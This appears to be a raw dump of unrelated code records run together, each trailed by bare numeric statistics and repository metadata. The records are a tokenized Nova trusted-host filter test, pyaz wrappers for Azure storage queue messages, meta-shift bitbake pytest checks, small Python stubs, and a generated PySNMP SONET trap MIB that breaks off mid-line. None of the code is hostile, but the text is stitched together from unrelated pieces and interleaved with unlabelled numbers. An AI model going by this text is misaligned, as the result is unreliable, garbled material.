op|'{' string|'"host_name"' op|':' string|'"host2"' op|',' nl|'\n' string|'"trust_lvl"' op|':' string|'"trusted"' op|',' nl|'\n' string|'"vtime"' op|':' name|'timeutils' op|'.' name|'utcnow' op|'(' op|')' op|'.' name|'strftime' op|'(' nl|'\n' string|'"%D"' op|')' op|'}' op|',' nl|'\n' comment|'# This is just a broken date to ensure that' nl|'\n' comment|"# we're not just arbitrarily accepting any" nl|'\n' comment|'# date format.' nl|'\n' op|']' op|'}' newline|'\n' name|'req_mock' op|'.' name|'return_value' op|'=' name|'requests' op|'.' name|'codes' op|'.' name|'OK' op|',' name|'oat_data' newline|'\n' name|'extra_specs' op|'=' op|'{' string|"'trust:trusted_host'" op|':' string|"'trusted'" op|'}' newline|'\n' name|'spec_obj' op|'=' name|'objects' op|'.' name|'RequestSpec' op|'(' nl|'\n' name|'context' op|'=' name|'mock' op|'.' name|'sentinel' op|'.' name|'ctx' op|',' nl|'\n' name|'flavor' op|'=' name|'objects' op|'.' name|'Flavor' op|'(' name|'memory_mb' op|'=' number|'1024' op|',' nl|'\n' name|'extra_specs' op|'=' name|'extra_specs' op|')' op|')' newline|'\n' name|'host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host1'" op|',' string|"'host1'" op|',' op|'{' op|'}' op|')' newline|'\n' name|'bad_host' op|'=' name|'fakes' op|'.' name|'FakeHostState' op|'(' string|"'host2'" op|',' string|"'host2'" op|',' op|'{' op|'}' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertTrue' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'host' op|',' name|'spec_obj' op|')' op|')' newline|'\n' name|'self' op|'.' name|'assertFalse' op|'(' name|'self' op|'.' name|'filt_cls' op|'.' name|'host_passes' op|'(' name|'bad_host' op|',' nl|'\n' name|'spec_obj' op|')' op|')' newline|'\n' dedent|'' dedent|'' endmarker|'' end_unit
12.578255
261
0.604155
3,799
25,798
3.995788
0.070282
0.16917
0.071805
0.055336
0.877009
0.856258
0.836495
0.805731
0.785837
0.752503
0
0.005971
0.097566
25,798
2,050
262
12.58439
0.646063
0
0
0.958049
0
0.000976
0.383286
0.031747
0
0
0
0
0.010732
0
null
null
0.010732
0.005366
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
aec38bedf1a2cbf12ea76585d3a9c0a5dd842564
132
py
Python
voicepuppet/atvgnet/__init__.py
taylorlu/voicepuppet
a0d3ca3296aca15abbfe75663a1bf682fb491efa
[ "MIT" ]
20
2020-10-28T07:32:29.000Z
2022-03-04T07:15:02.000Z
voicepuppet/atvgnet/__init__.py
taylorlu/voicepuppet
a0d3ca3296aca15abbfe75663a1bf682fb491efa
[ "MIT" ]
4
2020-11-24T14:42:44.000Z
2021-08-05T13:31:16.000Z
voicepuppet/atvgnet/__init__.py
taylorlu/voicepuppet
a0d3ca3296aca15abbfe75663a1bf682fb491efa
[ "MIT" ]
11
2020-10-29T07:11:22.000Z
2022-03-28T07:17:35.000Z
from __future__ import absolute_import from __future__ import division from __future__ import print_function from atvgnet import *
22
38
0.863636
17
132
5.882353
0.470588
0.3
0.48
0
0
0
0
0
0
0
0
0
0.128788
132
5
39
26.4
0.869565
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0.25
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
aecbabdae138350dcc3d60610e8a6211920510c5
11,253
py
Python
pyaz/storage/message/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
null
null
null
pyaz/storage/message/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
null
null
null
pyaz/storage/message/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
1
2022-02-03T09:12:01.000Z
2022-02-03T09:12:01.000Z
''' Manage queue storage messages. ''' from ... pyaz_utils import _call_az def put(content, queue_name, account_key=None, account_name=None, auth_mode=None, connection_string=None, sas_token=None, time_to_live=None, timeout=None, visibility_timeout=None): ''' Required Parameters: - content -- Message content, up to 64KB in size. - queue_name -- The queue name. Optional Parameters: - account_key -- Storage account key. Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_KEY - account_name -- Storage account name. Related environment variable: AZURE_STORAGE_ACCOUNT. Must be used in conjunction with either storage account key or a SAS token. If neither are present, the command will try to query the storage account key using the authenticated Azure account. If a large number of storage commands are executed the API quota may be hit - auth_mode -- The mode in which to run the command. "login" mode will directly use your login credentials for the authentication. The legacy "key" mode will attempt to query for an account key if no authentication parameters for the account are provided. Environment variable: AZURE_STORAGE_AUTH_MODE - connection_string -- Storage account connection string. Environment variable: AZURE_STORAGE_CONNECTION_STRING - sas_token -- A Shared Access Signature (SAS). Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_SAS_TOKEN - time_to_live -- Specifies the time-to-live interval for the message, in seconds. The time-to-live may be any positive number or -1 for infinity. If this parameter is omitted, the default time-to-live is 7 days. - timeout -- Request timeout in seconds. Applies to each call to the service. - visibility_timeout -- If not specified, the default value is 0. Specifies the new visibility timeout value, in seconds, relative to server time. The value must be larger than or equal to 0, and cannot be larger than 7 days. The visibility timeout of a message cannot be set to a value later than the expiry time. visibility_timeout should be set to a value smaller than the time-to-live value. ''' return _call_az("az storage message put", locals()) def get(queue_name, account_key=None, account_name=None, auth_mode=None, connection_string=None, num_messages=None, sas_token=None, timeout=None, visibility_timeout=None): ''' Required Parameters: - queue_name -- The queue name. Optional Parameters: - account_key -- Storage account key. Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_KEY - account_name -- Storage account name. Related environment variable: AZURE_STORAGE_ACCOUNT. Must be used in conjunction with either storage account key or a SAS token. If neither are present, the command will try to query the storage account key using the authenticated Azure account. If a large number of storage commands are executed the API quota may be hit - auth_mode -- The mode in which to run the command. "login" mode will directly use your login credentials for the authentication. The legacy "key" mode will attempt to query for an account key if no authentication parameters for the account are provided. Environment variable: AZURE_STORAGE_AUTH_MODE - connection_string -- Storage account connection string. Environment variable: AZURE_STORAGE_CONNECTION_STRING - num_messages -- A nonzero integer value that specifies the number of messages to retrieve from the queue, up to a maximum of 32. If fewer are visible, the visible messages are returned. By default, a single message is retrieved from the queue with this operation. - sas_token -- A Shared Access Signature (SAS). Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_SAS_TOKEN - timeout -- Request timeout in seconds. Applies to each call to the service. - visibility_timeout -- Specifies the new visibility timeout value, in seconds, relative to server time. The new value must be larger than or equal to 1 second, and cannot be larger than 7 days. The visibility timeout of a message can be set to a value later than the expiry time. ''' return _call_az("az storage message get", locals()) def peek(queue_name, account_key=None, account_name=None, auth_mode=None, connection_string=None, num_messages=None, sas_token=None, timeout=None): ''' Required Parameters: - queue_name -- The queue name. Optional Parameters: - account_key -- Storage account key. Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_KEY - account_name -- Storage account name. Related environment variable: AZURE_STORAGE_ACCOUNT. Must be used in conjunction with either storage account key or a SAS token. If neither are present, the command will try to query the storage account key using the authenticated Azure account. If a large number of storage commands are executed the API quota may be hit - auth_mode -- The mode in which to run the command. "login" mode will directly use your login credentials for the authentication. The legacy "key" mode will attempt to query for an account key if no authentication parameters for the account are provided. Environment variable: AZURE_STORAGE_AUTH_MODE - connection_string -- Storage account connection string. Environment variable: AZURE_STORAGE_CONNECTION_STRING - num_messages -- A nonzero integer value that specifies the number of messages to peek from the queue, up to a maximum of 32. By default, a single message is peeked from the queue with this operation. - sas_token -- A Shared Access Signature (SAS). Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_SAS_TOKEN - timeout -- Request timeout in seconds. Applies to each call to the service. ''' return _call_az("az storage message peek", locals()) def delete(id, pop_receipt, queue_name, account_key=None, account_name=None, auth_mode=None, connection_string=None, sas_token=None, timeout=None): ''' Required Parameters: - id -- The message id identifying the message to delete. - pop_receipt -- A valid pop receipt value returned from an earlier call to the :func:`~get_messages` or :func:`~update_message`. - queue_name -- The queue name. Optional Parameters: - account_key -- Storage account key. Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_KEY - account_name -- Storage account name. Related environment variable: AZURE_STORAGE_ACCOUNT. Must be used in conjunction with either storage account key or a SAS token. If neither are present, the command will try to query the storage account key using the authenticated Azure account. If a large number of storage commands are executed the API quota may be hit - auth_mode -- The mode in which to run the command. "login" mode will directly use your login credentials for the authentication. The legacy "key" mode will attempt to query for an account key if no authentication parameters for the account are provided. Environment variable: AZURE_STORAGE_AUTH_MODE - connection_string -- Storage account connection string. Environment variable: AZURE_STORAGE_CONNECTION_STRING - sas_token -- A Shared Access Signature (SAS). Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_SAS_TOKEN - timeout -- Request timeout in seconds. Applies to each call to the service. ''' return _call_az("az storage message delete", locals()) def clear(queue_name, account_key=None, account_name=None, auth_mode=None, connection_string=None, sas_token=None, timeout=None): ''' Required Parameters: - queue_name -- The queue name. Optional Parameters: - account_key -- Storage account key. Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_KEY - account_name -- Storage account name. Related environment variable: AZURE_STORAGE_ACCOUNT. Must be used in conjunction with either storage account key or a SAS token. If neither are present, the command will try to query the storage account key using the authenticated Azure account. If a large number of storage commands are executed the API quota may be hit - auth_mode -- The mode in which to run the command. "login" mode will directly use your login credentials for the authentication. The legacy "key" mode will attempt to query for an account key if no authentication parameters for the account are provided. Environment variable: AZURE_STORAGE_AUTH_MODE - connection_string -- Storage account connection string. Environment variable: AZURE_STORAGE_CONNECTION_STRING - sas_token -- A Shared Access Signature (SAS). Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_SAS_TOKEN - timeout -- Request timeout in seconds. Applies to each call to the service. ''' return _call_az("az storage message clear", locals()) def update(id, pop_receipt, queue_name, visibility_timeout, account_key=None, account_name=None, auth_mode=None, connection_string=None, content=None, sas_token=None, timeout=None): ''' Required Parameters: - id -- The message id identifying the message to update. - pop_receipt -- A valid pop receipt value returned from an earlier call to the :func:`~get_messages` or :func:`~update_message` operation. - queue_name -- The queue name. - visibility_timeout -- Specifies the new visibility timeout value, in seconds, relative to server time. The new value must be larger than or equal to 0, and cannot be larger than 7 days. The visibility timeout of a message cannot be set to a value later than the expiry time. A message can be updated until it has been deleted or has expired. Optional Parameters: - account_key -- Storage account key. Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_KEY - account_name -- Storage account name. Related environment variable: AZURE_STORAGE_ACCOUNT. Must be used in conjunction with either storage account key or a SAS token. If neither are present, the command will try to query the storage account key using the authenticated Azure account. If a large number of storage commands are executed the API quota may be hit - auth_mode -- The mode in which to run the command. "login" mode will directly use your login credentials for the authentication. The legacy "key" mode will attempt to query for an account key if no authentication parameters for the account are provided. Environment variable: AZURE_STORAGE_AUTH_MODE - connection_string -- Storage account connection string. Environment variable: AZURE_STORAGE_CONNECTION_STRING - content -- Message content, up to 64KB in size. - sas_token -- A Shared Access Signature (SAS). Must be used in conjunction with storage account name. Environment variable: AZURE_STORAGE_SAS_TOKEN - timeout -- Request timeout in seconds. Applies to each call to the service. ''' return _call_az("az storage message update", locals())
90.024
400
0.772505
1,678
11,253
5.068534
0.09416
0.079012
0.084656
0.109347
0.929101
0.921223
0.90876
0.90876
0.893004
0.88642
0
0.001828
0.173643
11,253
124
401
90.75
0.912786
0.843686
0
0
0
0
0.101879
0
0
0
0
0
0
1
0.461538
false
0
0.076923
0
1
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
9
4e0bf3b68a24c27cbc1048974dce20b8c06ebfdd
10,259
py
Python
test/test_test.py
shift-left-test/meta-shift
effce9bea894f990703cc047157e3f30d53d9365
[ "MIT" ]
2
2022-01-19T02:39:43.000Z
2022-02-07T01:58:17.000Z
test/test_test.py
shift-left-test/meta-shift
effce9bea894f990703cc047157e3f30d53d9365
[ "MIT" ]
null
null
null
test/test_test.py
shift-left-test/meta-shift
effce9bea894f990703cc047157e3f30d53d9365
[ "MIT" ]
null
null
null
#-*- coding: utf-8 -*- #!/usr/bin/python3 """ Copyright (c) 2020 LG Electronics Inc. SPDX-License-Identifier: MIT """ import pytest def test_core_image_minimal_do_report(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c report") assert o.stderr.contains("ERROR: Task do_report does not exist for target core-image-minimal") def test_core_image_minimal_do_reportall(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c reportall") assert o.stderr.contains("do_report: You should set SHIFT_REPORT_DIR to make reports") def test_core_image_minimal_do_test(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c test") assert o.stderr.contains("ERROR: Task do_test does not exist for target core-image-minimal") def test_core_image_minimal_do_testall(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c testall") assert o.stdout.contains("NOTE: recipe core-image-minimal-1.0-r0: task do_testall: Started") assert o.stdout.contains("NOTE: recipe core-image-minimal-1.0-r0: task do_testall: Succeeded") assert o.stdout.contains("cmake-project-1.0.0-r0 do_test: Running tests...") assert o.stdout.contains("qmake-project-1.0.0-r0 do_test: ********* Start testing of PlusTest *********") assert o.stdout.contains("qmake-project-1.0.0-r0 do_test: ********* Start testing of MinusTest *********") assert o.stdout.contains("autotools-project-1.0.0-r0 do_test: program 1.0: test/test-suite.log") assert o.stdout.contains("humidifier-project-1.0.0-r0 do_test: Running tests...") assert o.stdout.contains("sqlite3wrapper-0.1.0-r0 do_test: Running tests...") def test_core_image_minimal_do_coverage(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c coverage") assert o.stderr.contains("ERROR: Task do_coverage does not exist for target core-image-minimal") def test_core_image_minimal_do_coverageall(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c coverageall") assert o.stdout.contains("NOTE: recipe core-image-minimal-1.0-r0: task do_coverageall: Started") assert o.stdout.contains("NOTE: recipe core-image-minimal-1.0-r0: task do_coverageall: Succeeded") assert o.stdout.contains("cmake-project-1.0.0-r0 do_test: Running tests...") assert o.stdout.contains("cmake-project-1.0.0-r0 do_coverage: GCC Code Coverage Report") assert o.stdout.contains("qmake-project-1.0.0-r0 do_test: ********* Start testing of PlusTest *********") assert o.stdout.contains("qmake-project-1.0.0-r0 do_test: ********* Start testing of MinusTest *********") assert o.stdout.contains("qmake-project-1.0.0-r0 do_coverage: GCC Code Coverage Report") assert o.stdout.contains("autotools-project-1.0.0-r0 do_test: program 1.0: test/test-suite.log") assert o.stdout.contains("autotools-project-1.0.0-r0 do_coverage: GCC Code Coverage Report") assert o.stdout.contains("humidifier-project-1.0.0-r0 do_test: Running tests...") assert o.stdout.contains("humidifier-project-1.0.0-r0 do_coverage: GCC Code Coverage Report") assert o.stdout.contains("sqlite3wrapper-0.1.0-r0 do_test: Running tests...") assert o.stdout.contains("sqlite3wrapper-0.1.0-r0 do_coverage: GCC Code Coverage Report") def test_core_image_minimal_do_checkcode(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c checkcode") assert o.stderr.contains("ERROR: Task do_checkcode does not exist for target core-image-minimal") def test_core_image_minimal_do_checkcodeall(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c checkcodeall") assert o.stdout.contains("cmake-project-1.0.0-r0 do_checkcode: INFO:SAGE:* metrix++ is running...") assert o.stdout.contains("cmake-project-1.0.0-r0 do_checkcode: INFO:SAGE:* duplo is running...") assert o.stdout.contains("cmake-project-1.0.0-r0 do_checkcode: INFO:SAGE:* cppcheck is running...") assert o.stdout.contains("cmake-project-1.0.0-r0 do_checkcode: INFO:SAGE:* cpplint is running...") assert o.stdout.contains("qmake-project-1.0.0-r0 do_checkcode: INFO:SAGE:* metrix++ is running...") assert o.stdout.contains("qmake-project-1.0.0-r0 do_checkcode: INFO:SAGE:* duplo is running...") assert o.stdout.contains("qmake-project-1.0.0-r0 do_checkcode: INFO:SAGE:* cppcheck is running...") assert o.stdout.contains("qmake-project-1.0.0-r0 do_checkcode: INFO:SAGE:* cpplint is running...") assert o.stdout.contains("autotools-project-1.0.0-r0 do_checkcode: INFO:SAGE:* metrix++ is running...") assert o.stdout.contains("autotools-project-1.0.0-r0 do_checkcode: INFO:SAGE:* duplo is running...") assert o.stdout.contains("autotools-project-1.0.0-r0 do_checkcode: INFO:SAGE:* cppcheck is running...") assert o.stdout.contains("autotools-project-1.0.0-r0 do_checkcode: INFO:SAGE:* cpplint is running...") assert o.stdout.contains("humidifier-project-1.0.0-r0 do_checkcode: INFO:SAGE:* metrix++ is running...") assert o.stdout.contains("humidifier-project-1.0.0-r0 do_checkcode: INFO:SAGE:* duplo is running...") assert o.stdout.contains("humidifier-project-1.0.0-r0 do_checkcode: INFO:SAGE:* cppcheck is running...") assert o.stdout.contains("humidifier-project-1.0.0-r0 do_checkcode: INFO:SAGE:* cpplint is running...") assert o.stdout.contains("sqlite3wrapper-0.1.0-r0 do_checkcode: INFO:SAGE:* metrix++ is running...") assert o.stdout.contains("sqlite3wrapper-0.1.0-r0 do_checkcode: INFO:SAGE:* duplo is running...") assert o.stdout.contains("sqlite3wrapper-0.1.0-r0 do_checkcode: INFO:SAGE:* cppcheck is running...") assert o.stdout.contains("sqlite3wrapper-0.1.0-r0 do_checkcode: INFO:SAGE:* cpplint is running...") def test_core_image_minimal_do_checkcache(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c checkcache") assert o.stderr.contains("ERROR: Task do_checkcache does not exist for target core-image-minimal") def test_core_image_minimal_do_checkcacheall(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c checkcacheall") assert o.stdout.contains("cmake-project-1.0.0-r0 do_checkcache: Shared State Availability") assert o.stdout.contains("cmake-project-1.0.0-r0 do_checkcache: Source Availability") assert o.stdout.contains("qmake-project-1.0.0-r0 do_checkcache: Shared State Availability") assert o.stdout.contains("qmake-project-1.0.0-r0 do_checkcache: Source Availability") assert o.stdout.contains("autotools-project-1.0.0-r0 do_checkcache: Shared State Availability") assert o.stdout.contains("autotools-project-1.0.0-r0 do_checkcache: Source Availability") assert o.stdout.contains("humidifier-project-1.0.0-r0 do_checkcache: Shared State Availability") assert o.stdout.contains("humidifier-project-1.0.0-r0 do_checkcache: Source Availability") assert o.stdout.contains("sqlite3wrapper-0.1.0-r0 do_checkcache: Shared State Availability") assert o.stdout.contains("sqlite3wrapper-0.1.0-r0 do_checkcache: Source Availability") def test_core_image_minimal_do_checkrecipe(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c checkrecipe") assert o.stderr.contains("ERROR: Task do_checkrecipe does not exist for target core-image-minimal") def test_core_image_minimal_do_checkrecipeall(test_build): o = test_build.shell.execute("bitbake core-image-minimal -c checkrecipeall") assert o.stdout.contains("cmake-project-1.0.0-r0 do_checkrecipe: INFO:oelint-adv:Done.") assert o.stdout.contains("qmake-project-1.0.0-r0 do_checkrecipe: INFO:oelint-adv:Done.") assert o.stdout.contains("autotools-project-1.0.0-r0 do_checkrecipe: INFO:oelint-adv:Done.") assert o.stdout.contains("humidifier-project-1.0.0-r0 do_checkrecipe: INFO:oelint-adv:Done.") assert o.stdout.contains("sqlite3wrapper-0.1.0-r0 do_checkrecipe: INFO:oelint-adv:Done.") def test_cmake_project_do_build(test_build): assert test_build.shell.execute("bitbake cmake-project").stderr.empty() project = test_build.parse("cmake-project") assert project.packages.contains("cmake-native") assert project.packages.containsAny("gtest", "googletest") assert project.packages.contains("cppcheck-native") assert project.packages.contains("cpplint-native") assert project.packages.contains("lcov-native") assert project.packages.contains("python3-lcov-cobertura-native") assert project.packages.contains("qemu-native") assert project.packages.contains("sage-native") assert project.packages.contains("oelint-adv-native") def test_qmake_project_do_build(test_build): assert test_build.shell.execute("bitbake qmake-project").stderr.empty() project = test_build.parse("qmake-project") assert project.packages.contains("qtbase") assert project.packages.containsAny("gtest", "googletest") assert project.packages.contains("cppcheck-native") assert project.packages.contains("cpplint-native") assert project.packages.contains("lcov-native") assert project.packages.contains("python3-lcov-cobertura-native") assert project.packages.contains("qemu-native") assert project.packages.contains("sage-native") assert project.packages.contains("oelint-adv-native") def test_autotools_project_do_build(test_build): assert test_build.shell.execute("bitbake autotools-project").stderr.empty() project = test_build.parse("autotools-project") assert project.packages.containsAny("gtest", "googletest") assert project.packages.contains("cppcheck-native") assert project.packages.contains("cpplint-native") assert project.packages.contains("lcov-native") assert project.packages.contains("python3-lcov-cobertura-native") assert project.packages.contains("qemu-native") assert project.packages.contains("sage-native") assert project.packages.contains("oelint-adv-native") def test_cmake_project_for_static_analysis_do_compile(test_build): o = test_build.shell.execute("bitbake cmake-project-for-static-analysis -c compile") assert o.stdout.contains("Missing space before {{ [whitespace/braces]") # by cpplint assert o.returncode != 0
58.622857
110
0.748611
1,529
10,259
4.905821
0.077829
0.060659
0.098787
0.159579
0.918011
0.90228
0.879883
0.836422
0.823757
0.821624
0
0.026719
0.109855
10,259
174
111
58.95977
0.794678
0.011405
0
0.283465
0
0.173228
0.516482
0.155251
0
0
0
0
0.740157
1
0.125984
false
0
0.007874
0
0.133858
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
9d647926b0ef6473d4a71558a597c9c6eb95a9c7
136
py
Python
documentation/test_python/pybind_signatures/false_positives.py
Ryan-rsm-McKenzie/m.css
ae6f9b06986b721f13177774769f26460ebc44ea
[ "MIT" ]
367
2017-09-12T19:27:54.000Z
2022-03-20T16:24:13.000Z
documentation/test_python/pybind_signatures/false_positives.py
Ryan-rsm-McKenzie/m.css
ae6f9b06986b721f13177774769f26460ebc44ea
[ "MIT" ]
217
2017-10-27T12:21:02.000Z
2022-03-27T09:04:44.000Z
documentation/test_python/pybind_signatures/false_positives.py
Ryan-rsm-McKenzie/m.css
ae6f9b06986b721f13177774769f26460ebc44ea
[ "MIT" ]
103
2017-10-23T09:23:17.000Z
2022-02-23T13:42:59.000Z
# This shouldn't be treated as a pybind signature def reset(): """resets everything. Shouldn't be picked as a pybind signature."""
27.2
71
0.713235
21
136
4.619048
0.666667
0.164948
0.206186
0.371134
0
0
0
0
0
0
0
0
0.183824
136
4
72
34
0.873874
0.808824
0
0
0
0
0
0
0
0
0
0
0
1
1
true
0
0
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
1
0
0
8
9d67189b7ec86c9f5ef2eb7220cfc59c5127e906
573,472
py
Python
pysnmp/OPTIX-SONET-TRAPS-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
11
2021-02-02T16:27:16.000Z
2021-08-31T06:22:49.000Z
pysnmp/OPTIX-SONET-TRAPS-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
75
2021-02-24T17:30:31.000Z
2021-12-08T00:01:18.000Z
pysnmp/OPTIX-SONET-TRAPS-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module OPTIX-SONET-TRAPS-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/OPTIX-SONET-TRAPS-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 20:26:13 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueSizeConstraint, ConstraintsIntersection, SingleValueConstraint, ValueRangeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsIntersection", "SingleValueConstraint", "ValueRangeConstraint", "ConstraintsUnion") optixCommonSonet, = mibBuilder.importSymbols("OPTIX-OID-MIB", "optixCommonSonet") MOD2Type, AlmDataSrvEffType, AlarmEventType, PerformanceEventType, AlmDataNtfcnCdeType, LocationType, DirectionType, ValidflagType = mibBuilder.importSymbols("OPTIX-SONET-TC-MIB", "MOD2Type", "AlmDataSrvEffType", "AlarmEventType", "PerformanceEventType", "AlmDataNtfcnCdeType", "LocationType", "DirectionType", "ValidflagType") ModuleCompliance, ObjectGroup, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "ObjectGroup", "NotificationGroup") TimeTicks, iso, MibScalar, MibTable, MibTableRow, MibTableColumn, ModuleIdentity, NotificationType, Bits, ObjectIdentity, Integer32, Gauge32, MibIdentifier, Counter32, IpAddress, Counter64, Unsigned32 = mibBuilder.importSymbols("SNMPv2-SMI", "TimeTicks", "iso", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ModuleIdentity", "NotificationType", "Bits", "ObjectIdentity", "Integer32", "Gauge32", "MibIdentifier", "Counter32", "IpAddress", "Counter64", "Unsigned32") DisplayString, DateAndTime, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "DateAndTime", "TextualConvention") optixSonetTraps = ModuleIdentity((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40)) optixSonetTraps.setRevisions(('2006-02-25 00:00',)) if mibBuilder.loadTexts: optixSonetTraps.setLastUpdated('200602250000Z') if mibBuilder.loadTexts: optixSonetTraps.setOrganization('Huawei Technologies co.,Ltd.') optixTrapsAlarm = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10)) almLossOfClock = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 3)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLossOfClock.setStatus('current') almFileLost = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 6)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almFileLost.setStatus('current') almREILine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 37)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almREILine.setStatus('current') almBiasTemperatureOfPumpHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 69)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", 